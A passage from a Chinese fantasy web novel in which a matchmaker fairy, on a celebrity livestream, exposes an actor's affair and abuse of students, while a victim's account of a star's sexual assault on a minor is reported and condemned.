“看完这一卦就走。”文桐哼了一声,“我也讨厌这种拿架子的,要是我遇上这种人来祈愿,肯定会分给实习小仙君们去做。” 眼看她一副不管你说什么反正我就是要在这里、赶也赶不走的架势,文隽只能默默又转回头来,看着手机上的画面。 爱在这儿就在吧。 管 不住还不能当看不见么。 直播间里,安静的气氛悄悄弥散了一会儿。 然后,在张逢期彻底黑脸之前,董小棠先一步道:“就算算张老师和莫老师能不能白头偕老吧。” 给个白头偕老的祝福,也算是安抚了张老师。 “——张老师,您觉得呢?” 张逢期冷冷地睨了她们一眼,闭上了眼睛。 这是默认的意思。 莺芝颔首。 跟先前给林必珩算卦时一样的假装环节结束,莺芝睁开眼,神情从容地道: “不能。” 众人:“……” 众人:“???!” 简简单单两个字,明明声音还是和之前一样的温和悦耳,但愣是像投入人群的炸弹,让大家手足无措。 现场的人都不知道该作何表情了,直播间里更是满场哗然。 【不是,姐,你先前还都委婉一点的呢,温温柔柔地说完一堆乱七八糟的才切入重头戏,这次这么直白?】 【不能不能不能……oh!老登子求仁得仁啊!】 【不行,我不信,这俩出了名的模范夫妻,为啥不能白头到老?】 【虽然我也觉得打脸很爽很炸裂,但是为什么啊,我从小就听他俩很恩爱听到现在,我马上奔三了——这么多年都过去了,他俩能出啥问题?】 【不会是算错了吧……小莺,可以为了打脸报复而下下他的面子,但是不要乱说啊,这坏你自己的名声!】 …… 弹幕上的风向却和刚才揭露林必珩的事情之后截然不同,基本没有多少向着莺芝的,多数人还是持着怀疑态度的。 毕竟,事实在那里放着。 张逢期和妻子结婚三十多年,从很早之前娱乐圈还不成熟时的采访开始,一直到现在,他俩都是无数人心目中最佳的夫妻样子。 彼此之间不见任何黑脸,也从不会在任何场合说对方一丝一毫的不好,彼此拍戏也都会去探班接班……这种婚姻都不能白头偕老,什么样的婚姻才能呢? 董小棠嘴唇都哆嗦了。 感受着张逢期的气场已经低到极点,她声音发颤:“……为……为什么?” 连络月无声松了口气。 还好,她把最关键的问题问出来了。 原本满口跑火车的施尚,这会儿也扮起了哑巴,眼观鼻鼻观心,一个音节也不发出来。 华晓识看看这个,看看那个,最后沉默。 镜头之外,易姐等一众节目组工作人员也都吊起了一颗心,屏息凝神。 他们虽然很期待出现爆点,但是不太想真的出事故,万一真的是把张逢期得罪狠了,以后老一辈们的艺术家们都不肯和他们合作了的话,那就得不偿失了。 ——所有人都在等莺芝的答案。 包括脸黑如碳,神色沉郁的张逢期在内。 莺芝浑然不觉这样的瞩目是一种压力,她唇角依旧噙着那种礼仪化的、像是面具的笑容,温温吞吞地开了口。 “严格来说,原因有二。” “婚姻关系持续期间与他人纠缠、以及,或许涉嫌犯罪。” 第48章 共同点 “犯,犯……犯什么玩意儿?” 从矛盾有点控制不住的时候开始,就在装鹌鹑的施尚没忍住叫出了声。 语音初顿,尾音上扬,声线都快要变了调,异常高亢。 董小棠的眉毛狠狠地跳了跳。 这都是……什么事儿啊…… 说张逢期婚内出轨就已经够离谱的了,这又来了个“涉嫌犯罪”? 甚至不是违法。 是犯罪。 一个德高望重的老前辈!犯!罪!! 不管从哪个角度看,都太离谱了! 易姐也在震惊中,只不过震惊过后,她立刻招来助理吩咐了相关事宜,防止等下万一场面控制不住后要怎么办,同时,又嘱咐董小棠,务必尽量稳住大家的情绪,把事情以尽可能平缓的方式继续下去。 董小棠:“……” 董小棠无比后悔为什么今天不能生病,推了这个通告。 可是打工牛马就是牛马,属于自己的工作不能推脱。 要是今天撂了挑子,或者掉了链子,估计之后都会无止境失业了,没人敢再用她。 她强撑起笑容,用尽可能冷静的声音,对莺芝提出了疑问: “这……张老师和莫老师夫妻恩爱,怎么可能会做那样的事呢,会不会是卦象出了错……?你看,我们问的太笼统了,那么空泛,是很有可能算错的吧?” 除了张逢期,众人都齐刷刷看向莺芝。 莺芝笑容如旧,语气淡淡却认真:“我不会出错。” 董小棠:“……” 恨你听不懂人话。 就不懂顺梯子下吗! 公开跟前辈作对,指摘前辈“出轨”“犯罪”……她就不怕事后被追责? 不如现在服个软后退一步,之后下去再说啊,真犯罪了就去报警,真出轨了就去找莫老师爆料,想什么样不行,非要在这种场合—— “你要为你自己说的话负责!” 一道含着怒意的声音响起,大家看过去,果然是张逢期。 只不过这会儿,张逢期没了先前八风不动的模样,眼镜下的一双眼眯起,威重的气息四溢,压得众人不由自主紧张了起来。 作为被他锁定的中心,莺芝却完全没受到影响似的,仍旧坐得端庄优雅。 “我自负责。” 她淡声道:“你与你的夫人,缘长却淡,此等现象,我并不是第一次见——当是夫妻之名持续很久,但感情早已消逝之象。” “感情消逝的初始或许连你本人都已经想不起,可缘线却清晰记录着一切。” “二十八年前,你与一名非你妻子的女性产生关系,自那时开始,你与她的缘便逐渐与现在妻子的缘一同持续着,而二十五年前,你的这段缘中,出现了子嗣缘。” 【我,我靠……】 【张逢期不是没孩子吗?他们不是一直说莫老师身体不好,所以他们夫妻俩是丁克吗?】 【等等等等我得捋捋,张逢期结婚三十五年了,二十八年前……才刚七年的时候就出轨了??!】 【这也太炸裂了,太炸裂了,他也犯罪?犯啥罪了?赶紧继续啊】 【不好意思第一次来,请问这里是狗仔爆料大会吗】 【张逢期出轨,还跟情人有了孩子?真的假的??】 【牛如叉,六如九,这老叼毛,真叼。】 【我不信……张逢期那么爱老婆,怎么可能会做这些!】 【我也不信,这波我站张逢期,这女的今天不给出个有说服力的证据,我是不会信的。】 …… 弹幕上,一片沸腾。 信的不信的以及只是吃瓜中立的路人,三方人混在一起,好不热闹。 所有人都在等,等接下来的发展。 莺芝双眸如水,平静地看着张逢期。 所有人也都骇然地转头,向日葵似的,看向另一边的张逢期。 张逢期脸色铁青,先前的气势有一瞬间的失控,但很快,他周围的气场再度变得平和起来——和林必珩离去前他在这场直播中的表现也差不离多少。 “小女娃,有真本事的话当然是好的,但是就这么轻飘飘地一张嘴,就随口给人泼脏水,下定性,编造事实,可不是正途。” 他竟然收敛了怒火,以一种极其亲和、但隐隐约约的威严还是萦绕周身。 “你应该知道,现在的社会,想要毁掉一个人,有多轻易。你随意的三言两语,就可能让一个无辜的人受千夫所指,万人唾骂……你担负得起吗?” “我身为前辈,不该和你们这些后生计较,但也正因为我活得长,活得久,走过的路比你走过 的桥都多,所以才会和你推心置腹地说这些,为人,该诚实、诚心、诚信——谎话和虚伪,不是你该学的。” “虽然你今天编排的是我,少不得我会被人非议,但如果你能就此醒悟,不再到处骗人,踏上正途,那就也不负我这番苦心了。” 天庭。 文桐噗嗤一声。 “笑死我了,他比谁活得长?他比谁走过的桥多?” “天庭这么多桥,这千万年来,谁不是天天走,合着这么些年来我们走过的桥还不如他一个凡间老头走的路多?” “往那边坐坐。”她一撩裙摆,坐到了文隽旁边,“——他怎么这么喜欢给人当老师呢?” “还苦心,我们莺芝仙子大老远下凡去,为了他们这些人的姻缘,这难道不比他这随便几句话就要教别人做事的行为更‘苦心’吗?” 文隽看了看被她强行占去一半的坐席,嘴角一抽:“什么时候成你的莺芝仙子了?” 文桐撇嘴,没理他。 “你也边上坐坐——”文隽把自己被压住的衣摆抽出来,重新看向屏幕,这才继续道,“很多人都有好为人师的毛病,这一症状,在男性、准确的来说,是凡间稍微年长一些的男性群体里尤为明显。” 文桐翻了个白眼:“无趣。” 文隽这次没反驳她。 兄妹俩又安静下来,继续头对头看直播。 …… 直播间里。 连络月抿了抿唇,悄悄对莺芝使眼色。 是啊,这么大的事……彼此都退一步,海阔天空,也是好的。 莺芝却道:“既如此,那为何方才我为林必珩算卦时,你不曾站出来如是劝说?” “……”真敢说啊这姐! 连络月心惊肉跳。 施尚绷住嘴,在心里给她比了个大拇指。 牛逼啊。 看样子这是要刚到底了。 果不其然,张逢期又皱起了眉,冷冷地看着莺芝。 莺芝淡然道:“我已经说过,我所说所为,均会负责。若后续查明我所言有虚,我自会承担相应的后果——如此,可以继续了吗?” 董小棠还在发愣,耳朵里突然一道声音,把她神智呼唤了回来,同时脱口而出,复述了那人的话:“可以,继续吧!” 董小棠:“……” 易姐,你真是害惨我。 莺芝没管那些,她这次的态度似乎异常坚决,不给张逢期再说话的空档,便径直道: “他的子嗣与外室,若夫人或夫人的亲人有心,很轻易便能查出,而且这至多算德行有亏,算违法,以他的身份地位,应当算不得什么——我所要说的,是另外的事。” “在十余年前,他的缘线中又出现了许多段不同的缘,持续不长,至多只有一到两年,少的只有数天。” 温柔的嗓音不知道什么时候变得有些冷然,依稀还有一点不悦。 “而这些短暂的缘,有一个共同点——” “慎言!”张逢期低喝出声。 他这突然的一嗓子吓得周围的人都是一个激灵,不由自主看向他。 张逢期布了不少岁月痕迹的脸上,眉心叠皱起,厚唇咧出,有种咬牙切齿的意味。 “念在你年纪小,不懂事,先前的污蔑,我可以不计较。但你既然这样不知道收敛,非要踩着我往上的话,那么你之后的话,每一句,我都会记录下来,一一向你追责。” “你——想好了?” 向日葵们再一次转头。 所有人都看到,莺芝的表情变了。 那副温和的微笑面具似乎被拿走,她神情冷下,无端生出几分高坐云端的气势来。 好像在俯视着他们。 【履行摸鱼职责:我靠我靠,神女冷脸,小莺这个表情我还是第一次见!!直接美中我的心巴!】 【晚间生物:小莺这是,生气了吗?好少见……】 【骂谁二次元呢:截图键已经被按烂了,女神,我的小莺,啊啊啊啊不要生气有什么冷脸冲我来】 【我真没有QAQ:要关注的重点应该是,她为什么这样生气吧?她这一卦到底看到了什么,是为了张逢期的妻子,还是那些后边的“缘”们?到底有什么共同点?能不能不要影响进度了,让她继续说?】 【你到底说不说:QAQ老哥老姐,你还真是个玄学痴迷分子啊……】 【一只浪迹瓜田的猹:啊啊啊我也急死了,好想吃这瓜好想吃这瓜……】 …… 屏幕有一会儿的时间直接被莺芝的粉丝们给霸占刷屏了,嗷嗷臭脸小莺的,为了瓜团团转的,什么都有。 莺芝也没有让他们多等。 “——这些缘的共同点,在于都是年轻女性,” 她完全没有吊胃口的心思,平铺直叙地给出了张逢期自己的回答。 “而且,和他同时拥有师徒缘。” 鸦雀无声。 现场,似乎所有人的声带都在一瞬间被抽走,无人出声,只有各类机器运转的声音仍在持续进行。 所有人都在理解着莺芝的话,理解着其中的信息。 年轻女性。 师徒缘。 不,不会吧…… 等等,张逢期……好像确实……担任着某校的…… 老师。 第49章 女孩们 张逢期,和自己的学生,搞婚外情? 但小莺又说,他和这些学生们,所谓的“缘”虽然很多,但并不长,甚至许多很短。 一夜情? 可是……说句不好听的,学生们年轻漂亮,跟他在一起,除了图他身份地位,没别的了吧, 但要是图身份地位,在道德层面之外,那不得一直纠缠着才行吗,短短一两次,能得到什么? 一般情况下,对于这类情况,只这么片刻的纠缠,“付出”与“收入”完全不成正比吧。 而且这种,张逢期也至多只能算“德行有亏”——学校可以因此解雇他,或让他至此不能再教书,圈中也冷藏封杀他,可也说不上是“犯罪”吧? 这帽子太大了。 【就算是真的,也不一定全是张逢期的错吧。那些学生们就没错了吗?她们要不是指望张逢期多多照拂,指望有个前辈当靠山,张逢期能得逞?这不是你情我愿的吗】 【苍蝇不叮无缝的蛋理论?】 【不行,我还是不信,张逢期怎么可能做出这种事。这算卦的行不行,不会算就趁早歇业,这么编是真不怕报应啊】 【我也觉得太离谱了……离谱得有点过分,我不敢信。】 …… 短暂地斟酌了莺芝这段话里的内容如果投放到现实,具体是个什么情况,观众们不少都产生了动摇。 要是说林必珩那会儿,还算戏剧,有节目效果,但说到张逢期…… 实在是他本身口碑就太好了,又是攻击的他最出名的优点,就是很难服众啊。 这要也是真的,就太超出认知了。 重点是,没有任何证据! 全程都是她一个人在单方面地说。 这谁敢信? 现场众人这回是真的一口气都得拆成两口慢慢喘了。 张逢期冷冷盯着莺芝,不发一言。 莺芝坦然如初,但同样神色冷淡。 “我要说的说完了。” 她开口,看向董小棠。 董小棠:“……” 不是,看我干嘛,我敢在这时候插嘴吗? 心中千肠百转,董小棠还是只能压下苦涩,硬着头皮接过话来。 “呃……那,我们这个环节就到此结束吧。” 总之,一来,两边都没证据,小莺没法给张逢期彻底定罪,这种捕风捉影的情况张逢期也更不可能自证清白…… 二来,他们之间的梁子无论如何也已经结下,一时 半会儿吧,也和解不了。 那这局势算是彻底僵持住了,不如就直接跳过环节,赶快推进流程。 然后,结束这场该死的直播吧。 无人反对。 连话最多最跳脱的施尚都缩着脖子当应声虫,一点也不敢乱来。 接下来的环节就在这种窒息般的安静里一一推进。 做游戏,回观众,吃饭说话。 直到直播彻底结束,再没什么称得上是“爆点”的内容出现。 不过对于观众而言,刚才的part就已经足够他们讨论很久,而且后半场这些,光是观看以及探究艺人们的表情,就够他们津津乐道很久的了。 宣告直播结束、可以收工后,张逢期冷然站起,眼神危险地又盯了莺芝一眼,从她身前甩袖而过,留下一声冷哼。 所有人都知道,这一声“哼”,代表着“你给我等着”。 偏生莺芝无所察觉般,慢条斯理收拾着自己刚刚掏出来的本子和笔,然后和其余人微笑点头致意,离开现场。 负责和莺芝对接剩余事情的,按理来说应该是负责人助理,但这次,易姐主动接过了这任务,和莺芝进行后续的沟通交流。 明确款项已经打过去,又表示很高兴能合作后,易姐顿了顿,才又开口。 “你……小心些。” 因为节目组的私欲,想要热度,所以搞了这么个有噱头的直播。 结果热度是有了,噱头也有了,但给他们带来这一切的莺芝,却是置身了风暴中心,得罪了本不该有交集的人。 即便这些事对方在说出那些时就已经该想到,既然还是选择那么做,证明她已经做好了准备。 但归根究底,最大的受益者都是节目组。 不管怎么说,节目组也该向她表示感谢,和歉意。 同时出于对这个女孩的欣赏,易姐到底是没忍心,多说了几句。 “你刚接触娱乐圈,可能还不太清楚这里边的水深。回去之后小心一些,各种方面都是。要多注意安全。” 没想到对方会说这些,莺芝微怔,旋即点头。 “好。” 送她离开后,易姐上楼,却撞见了华晓识。 她看起来急慌慌的,见到易姐,连忙朝她身后打量。 易姐疑惑:“我刚送小莺离开,你怎么了?” 没找到想见的人,华晓识失望之色溢于言表。 她捏了捏兜里的东西,摇头。 “……没什么。” …… 莺芝连夜踏上了归程。 车上,她刷着手机,和红线小人一起,翻看着网络上对于今晚直播的讨论。 毫无疑问,这场直播在各种平台上都是话题的中心,事情已然发酵得越来越大。 不管是中途因网络爆料愤而离场的林必珩,还是被指出轨犯罪的张逢期,都掀起了不小的风浪。 榜单上打开,一水儿的全是这场直播的内容,几乎霸榜。 #张逢期出轨# #林必珩****# #吴姝俪实名举报林必珩# #林必珩# #张逢期被爆和学生恋爱# #D大表演学院讲师张逢期# #家远方晚间直播# #张逢期有私生子# #林必珩种马# #吴姝俪是地下偶像团体成员# #张逢期# #张逢期夫妇# #小莺# …… 连“种马”都出来了,这是连莺芝都没想到的。 由于林必珩事件中多了个吴姝俪的加入,使得有关于他的讨论明显要高于本该压他一头的张逢期。 这会儿网上讨论最多的,还是关于林必珩涉嫌迷煎他人,并逼迫**的事儿。 莺芝也看到了吴姝俪的原动态。 那是段视频。 没有什么常见的美颜特效之类,也不见精美的配乐和剪辑,就是很普普通通的一段原相机直出视频。 视频中,一个大约十八九岁的女孩一个人出镜,她的身后是白色的墙面,除此之外再没有其它的东西,整个画面单调到了一种程度,让这个视频看起来更加的“粗制滥造”。 显然,有很大可能,这段视频是她在仓促之间临时决定拍的。 大多数人猜测,是因为听到了家远方直播间里小莺在爆料林必珩事件,所以她连忙拿出手机来了这么一段。 吴姝俪举着自己的身份证,上边的名字是“吴淑丽”,是她的本名—— 她在视频里先是简单介绍了一下自己,正如热搜上的词条,她是某小众地下偶像团体的成员,本名吴淑丽,艺名吴姝俪。 这个团体由数名基本都在十六岁到二十岁之间的年轻女孩组成,她们大多是已经不上学的,个别正在读大学,在课外的时间来进行演出,吴姝俪就是正在当地某大学读书的一名成员。 她们团体的粉丝数量并不多,平时都是在某区域内的几个不同场所进行巡演,巡演的规模也不大,就是给固定群体的粉丝们表演而已。 据吴姝俪所说,她们是在某次巡演时,碰到的林必珩。 当时她们演出刚刚结束,正在回后台换衣,准备回去,结果在过道撞见了和一群男性朋友在旁边的地下酒吧喝酒、喝得醉醺醺的林必珩。 林必珩一行中,有一个醉得很厉害的,看到一群漂亮女孩,二话不说就上手去拉,嚷嚷着让女孩儿们来陪酒。 其余几人无论原本有没有这个意思,但在那人开口后,非但没有阻止,也都笑了起来,起哄着“挑选”让哪个来陪自己。 林必珩也在其中。 可能是顾及着身份,他没有直接上手,只是旁观着几位同伴对女孩们拉拉扯扯,强行拽入包间,然后自己也跟着走了进去。 他们人多势众,醉意上头又根本不管三七二十一,直说林必珩是大明星,陪大明星喝个酒是他们的荣幸,又说自己是什么身份什么身份的,下手更是完全没个轻重。 推搡的过程中,好几个女孩都被扇了巴掌,女孩们拗不过,又急又疼,只能半推半就地先先稳住他们,另外有一名悄悄跑了出去搬救兵。 林必珩“选中”的,是她们中间年纪最小的那一个。 当时,她差两个月才到十六岁。 吴姝俪说,出去找救兵的女孩儿带着人回来时,见到的只有其余被拉着陪喝酒的姑娘们,根本没有找到她。 大多数的姑娘们确实只是被拉着陪喝了酒,期间被占了一些便宜,受到了骚扰,但这名小姑娘不是。 大家找到她时,是在旁边的小包厢里。 她半昏半醒,脸上痕迹斑斑、整个人都形容狼狈,和还没到时节就被强行掰开的花骨朵一样,场面凄惨又可怖。 她被林必珩和其他两个人拉进了这里,灌了很多的酒,酒里还加了些东西。 然后,他们几人对小姑娘进行了无人道的轮流欺负。 被发现时,林必珩等人提裤子的提裤子,整衣服的整衣服,有一个甚至还在录视频。 不仅如此,他们还强行要扣下她们的手机,防止被拍照。 犯下了这样的错,他们毫无悔意,在事发后,作为几人中心的林必珩,竟然甩出了一把钱,丢到了小姑娘身上,提出了用票子来做“平等交换”的解决方法。 并且还出言威胁,此事私下已了,如果她们再进行纠缠,或将这里的事情说出去,那么他们会动用自己的权利,让她们团体就此被封杀,拍下的视频也会传播出去,让她们不仅丢掉饭碗,还要丢掉脸面,在圈里再也混不下去。 说到这里时,视频里的吴姝俪几度哽咽。 她说,几位姐姐们难以咽下这口气,哪怕拼着团体解散、无颜见人一辈子的下场,也要报警。 但,逐渐清醒过来的小姑娘制止了她们。 在他们离开后,在小姑娘的要求下,几位女孩给她的惨状拍了照片,录了像,甚至还留下了她已经被弄脏弄破、沾了无数污迹的演出服。 她还在姐姐们的陪同下,去医院做了取样。 小姑娘说,他们能阻拦到哪一步很难说,她们没钱没势没名气,如果就这样去报警,万一正中对方下怀呢? 不如先行保留证据,等之后有了合适的契机,再进行揭露和爆料、以及报警。 她们都不怕因为伸冤而遭遇所谓的“饭碗丢失”“无脸见人” ,她们担心的,只有冤屈无法诉,恶人继续逍遥法外。 即便林必珩很火,她们的事业在那之后因为心态变化而渐渐萎靡,但是她们没有丝毫动摇。 她们都坚信,像他们这样行径的人,迟早会有翻车的一天,迟早会陷入泥潭。 并且站得越高,摔得越惨。 届时,她们便也能申诉自己的委屈了。 女孩们被她的冷静理智感染,即便还是又愤怒又悲伤,也还是同意了她的要求。 在那之后,吴姝俪便对这些人愈发关注。 她开始密切关注一切林必珩的活动。 终于,她等到了。 她们等到了。 甚至只隔了三个月! 在看到网上小有名气的算卦专家要给林必珩算卦,她的心就按捺不住地狂跳起来。 她觉得,这或许就是“契机”。 果不其然,这位算卦专家相当的专业。 仅凭推算,就算出了林必珩这人的丑恶行径。 甚至还有她们的事! 连日期都对得上。 吴姝俪差点哭出来。 她们等的东风,顺利到来了。 第50章 舆论 吴姝俪在视频之外,还发了长文,字字泣血。 身为团队里少有的大学生,她的行文条理清晰,前因后果捋得极顺,用朴实无华的文字,就轻易带动了观者的情绪。 她说,她们的手机被林必珩等人检查过,所以没有录音,没有录像,没有照片——但是他们走后,她们为小姑娘身上痕迹拍的照片,带有他们**的衣服,以及小姑娘当初做的报告,全都放得好好的。 只等之后相关部门介入,她们就会毫无保留地移交证据,把他们锤入死地。 吴姝俪没有把小姑娘相关的证据放出来,甚至没有公开透露小姑娘的名姓,只说会在之后移交相关部门。 并且,由于团体实在没什么名气,网络上甚至没有她们团体成员的全部信息,所以她还恳求知道她们团体的人,不要因为这件事就去找姑娘们进行所谓的“安慰”,她们不需要,这对于她们来说,是伤痛重提,只能让她们想起那个不堪的夜晚。 与其做这些,不如谴责林必珩等人,督促事件进度,让他们受到应有的惩罚。 网上关于这件事闹得沸沸扬扬。 大家都在为吴姝俪团体发声,为那个不知名的小姑娘发声。 一些女孩甚至自发地出钱,给吴姝俪等可怜的女孩筹备律师费,直接打赏给了吴姝俪账号。 还有一些相关行业的大V们则是就此给出了种种建议,为遭遇不公的女孩儿们提出解决的方法。 更有几名只存在于传说中的,专为女性打官司的律师,直接公开发表动态,表达了愿意为女孩们免费代理案件的意愿,希望吴姝俪能够私聊自己一下——因为担心被许多不相干的信息刷屏,吴姝俪关闭了陌生人私信的功能。 种种件件,都让人感慨万分。 而林必珩的粉丝团体们,一部分脱粉,一部分持观望态度,等待着法律给出的最终裁决,还有一小部分,则是无论如何也不相信这些事是真的。 他们在网络上四散着,攻击诋毁林必珩的人,攻击吴姝俪,攻击那个素未谋面的小姑娘,攻击莺芝。 莺芝对此毫不在意。 私信里那些不堪的辱骂,她一个也没放在眼里,只是细细翻过吴姝俪相关的动态后,由衷地为她们感到了开心。 她的私信里,还留着吴姝俪的感谢。 吴姝俪说,谢谢她,即便她在此之前完全不知道她们的事情,是无意间披露的林必珩相关事实,却也真真正正帮助到了她们。 她们会记住这份恩情,并且承诺,会在之后抽空去庙里给月老上香。 饶是莺芝,看到这一句时也不由地怔住,有点小小的哭笑不得。 她们还真是细心,竟然还去了解了一下她,知道她“索要”的“报酬”都是让观众们去庙里上香,所以也给出了这样的承诺。 嗯…… 怎么说呢,真是一群可爱的姑娘。 希望她们能够得偿所愿。 至于张逢期那边,莺芝人还没下车,就已经收到了来自一方所谓的“警告”。 张逢期的代表人速度极快地在网络上发布了澄清声明,并强烈表达了会对一切造谣分子进行追责的意图。 警告莺芝的同时,也变相警告了其余在此事中想要浑水摸鱼踩他一脚的多事分子们。 对此,莺芝同样完全没有在意。 这无非也就是张逢期想要洗清自己身上“污名”的手段罢了。 但清者自清不假,浊者却也不可能彻底洗白。 凡是做过的事,总会留下痕迹。 就像林必珩。 而她所说的全部都是事实,即便闹到所谓的“公堂”上,他也禁不起调查。 所以,他必不可能将事情闹到那种地步。 于莺芝而言,她只负责把事情说出来,之后会怎么样发展,那和她也没多大关系了。 一路顺利。 抵达落脚的城市时,已经到了凌晨。 莺芝没有第一时间回到租下的房屋,而是去了附近的庙里。 此时庙门紧闭,不过并不能难倒莺芝,她自后门绕进,进了庙中。 ——这几天她远离庙宇香火,精神和灵力一直没能得到补充,虽说也没什么大的消耗,只有几个小时前观了那么两次缘,但他们在凡间,本就是被压制了灵力的状态,又经了这么一遭,终究还是有些枯竭的疲惫。 她得离姻缘殿在凡间受持香火的地点近一些,调整状态。 不然怕是回到落脚处后,不知道什么时候就会直接晕过去,昏睡个几天几夜的才能将精神重新蕴足。 从虚掩的后门悄悄进入,莺芝熟门熟路到了供奉有月老像的房间,摸黑进入,在叩拜的蒲团上坐下,闭目调整起了状态。 轻淡的香火徐徐自神像中传来,萦绕莺芝周身,化作灵力,氲养起她的精神。 二十分钟过去,莺芝轻轻睁开眼,于黑夜中,望向了某个的方位,又缓缓转头,朝向另外一边。 之前精神透支,本身控制之下可以外放的感知无法派上用场,所以竟一直没能察觉,有人在跟着她。 不止一位,不止一拨。 泾渭分明的两拨人,分别是两人队伍和一人独身,但都带着厚重的背包,即便是这会儿出行,也带着帽子口罩眼睛。 ……是从什么时候起跟上的? 抵达这座城市后,还是上车前、抑或……录制完离开现场时? 明确了这些人的方向和组成,莺芝不再分神关注,重新闭上眼睛,安静地调整着自己的状态。 很快,天光乍破。 清晨的第一缕光自门窗照进,洒落在蒲团上,莺芝睁开眼起身,已经不显疲惫。 因灵力已经稍有恢复,她微微外放感知,探查了一下。 跟着她的两拨人竟然还在。 且虽身处不同的方位,但他们竟都牢牢地盯着这个方向——盯着她进入的后门。 莺芝整理了一下衣服,听着屋外渐渐传来的扫地声,知道是洒扫的那名女性已经开始了劳作,便施施然推门而出,从正门离开了庙宇。 带着买好的早餐上楼,简简单单吃过,莺芝没有在房屋中待多久,又去了庙里。 坐到殿后长椅上,她拿出了姻缘簿和笔,进行简单的工作处理,顺便给这段时间在凡间的工作做一个汇总,做份工作志。 随着香客们的渐渐增多,也有一些拿着画板和相机到这里来,采风写生拍摄作品的,所以莺芝的举动也不显突兀,即便有人留意到,也只以为她是在做作业的学生或其他一些需要在这种地方找素材的工作者。 大半天的时间缓缓而过,太阳西斜时,莺芝收起东西,离开这里,返回住处。 晚上还有直播。 这一路,两拨不知道什么时候起就跟着她的人再没有跟上。 其中单人的那一组在白天摸清楚庙还有个前门后就已经离去;留下的那一组,似乎依旧蹲守着后门的方向,坚信着能等到她出来。 莺芝没有因为这件事影响心情。 她有条不紊地进行着自己的日常安排。 回 到住所吃晚餐时,红线小人终于可以解除伪装。 它在桌子上蹦蹦跶跶一通,然后一本正经地抱起了它的手机,开始翻看有关于莺芝的评论和内容。 片刻后。 它嗷地一声大叫。 “——不好了月仙大人!” 莺芝不紧不慢把刚挑起的一筷子面放进嘴里,咀嚼吞咽,才回应道: “怎么了?” “他们说,您说他们孩子不是亲生的,所以拉着孩子去做了亲子鉴定,结果证明就是亲的——说您的卦影响了他们的正常生活,给孩子造成了不可磨灭的心理阴影,说您是骗子,要求您予以赔偿,并公开道歉!” “现在有好些人都在说这个呢。” 莺芝:“……” 什么? 她什么时候给人算过“孩子不是自己的”了,这种难道不该送子殿管吗。 她一个姻缘殿的……好吧——虽然确实能通过夫妻双方的缘线推断出孩子是不是亲生的,但问题是,她没有算过这种卦啊。 她的每一次观缘,都在姻缘簿上有记录,可以查到。 即便是以凡间的方式——除了最开始在楼下为那个说她有血光之灾的男人观过一次,其他全部都是在镜头的见证下进行的。 有没有这样的内容,一查过往的直播内容不就知道了? 似乎知道她在想什么,红线小人身体急抖: “有人为您说话,说没有见您算过这样的卦,但他们说是私下里找您算的,花了大价钱,才求了您这一卦,还发出了转账截图!” 莺芝:“……” 虽然有财神殿仙君的赠礼,但也不代表这种“烂账”也归在财运里吧? 红线小人抱着手机,摇摇晃晃举起: “您看!” …… 天庭。 数十名穿着统一制式衣袍的小仙君们怀抱着文书,规规矩矩排着队。 队伍尽头,是一张摆满如山案卷的桌子。 桌后,文隽放下笔,朝身前的小仙君一摆手:“没什么问题了,继续去做吧。” “是。”小仙君恭敬应声,而后抱起桌上的一小沓文书,退步而去。 眼瞅着下一位又要上前,文隽捏了捏眉心。 “大家先散去,休息一刻钟再继续。” “是。” 身前队伍散掉,文隽先前从容干练的气势也一下散尽,他耷拉下眉眼,默默叹了一声。 好忙,好想休息。 他四下环顾,见无人在意此处,悄悄取出了乾坤袋里的手机。 ……嗯? 来自陌生人的新消息? “你好,我方欲出高价与您合作……红线小莺……” ?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 脏水 对方的消息不算太长,但条数很多,文隽大略扫了两眼,差不多了解了对方想表达的意思,就丢下了手机,没再理会。 很快,十五分钟过去,殿中的小仙君们重新摆着文书到他桌前排好队,文隽又开始了新一轮的工作。 等手头的工作终于暂时了结,将剩余这些小仙君的“作业”批阅完成,文隽无声松了口气,这才重新拿出手机,借桌上文卷的遮挡开始仔细查看信息。 看完后,他按了按额角,脸上的表情有那么一瞬是无语。 给他发消息的是一个ID昵称叫做“江水浪涛涛英雄”的人。 一连发了数十条,最开始的是客套地称赞了一下ID,说文隽的ID和他的有异曲同工之妙,一看就是个很有文学素养的高知分子—— 对方找上门来的软件是某专供聊天的社交平台,找上门的渠道则是群聊,他从群成员列表向文隽发起了临时会话,所以才能一股脑发送这么多条,而不像那些直播平台那样,未关注的只能发个别条数,必须得到回应才能发更多。 而称赞完ID后,他开始引入正题,说了他的目的。 他说,他和文隽一样,看小莺直播了很久,但却从来没有被抽中算过卦,所以觉得不服气,还同仇敌忾地替文隽也可惜了一下。 ——兄弟你看,你都是她直播间榜一了,还从来没被抽中过,这不是看不起你吗? ——哪有这样的呢?拿我们的真心和付出不当回事? ——花那么多钱喂条狗,狗还知道翻肚皮给摸摸呢,这给她就算白花了? 顺理成章地,他提出了想要“报复”一下莺芝的想法。 而具体细节,这位“英雄”虽然没细说,却也给出了初步的思路。 他说,文隽可以在群里说一下小莺对他始乱终弃的过程——以恋爱为由头,勾引他为她花这么多钱,结果她同时却还和其他几位“大哥们”牵扯不清,之所以跟他在一起,也只是为了骗更多的钱。 只需要指认小莺是个始乱终弃脚踏多条船的捞女,为了钱可以不顾手段。 就这么简单而已。 后续的一切事情,这位“英雄”都肯帮他继续完善,而且,他们还愿意支付一笔“安抚费”,以安慰他受伤的心。 最终的总结,就是那句“你好,我方欲出高价与您合作,给红线小莺一个小小的报复,让她认识到我们这些人的重要性”——也就是文隽先前在锁屏的提醒页面上看到的那句。 又把这人的消息从头到尾看了一遍,文隽一言不发退出了界面,转去个人资料,改了昵称。 异曲同工? 是,他在群里的ID是文思泉涌那个,直播间ID也是,但,谁要跟你异曲同工? 至于高价——他看起来像是很缺钱的样子? 报复…… 这话前后逻辑都不能自洽,唬谁呢。 话里话外都在挑拨他这位“大哥”对主播起什么别的心思,像是笃定了他必定会有什么不堪的念头一样,偏偏还试图找个冠冕堂皇的由头。 “……” 这手段,放一部分人身上没准真的有效。 但在文隽这儿,简直拙劣到了可笑的地步。 联系最近莺芝有关的事件,甚至都不难推测这人来自哪儿,最终目的又是什么。 估计是把莺芝相关的人和事都找遍了,但愣是没找到一个真正“有关”的人—— 唯一一个明面上显示过和莺芝有关的,还是之前惠恩庙直播时身为助理出场的他,不过苦于没有任何公开的身份资料及联系方式,所以不得不从直播的群里入手,试图撺掇观众粉丝来进行操作了。 很不幸,对方有概率选中的以及最终选中的两人,都是他一个人而已。 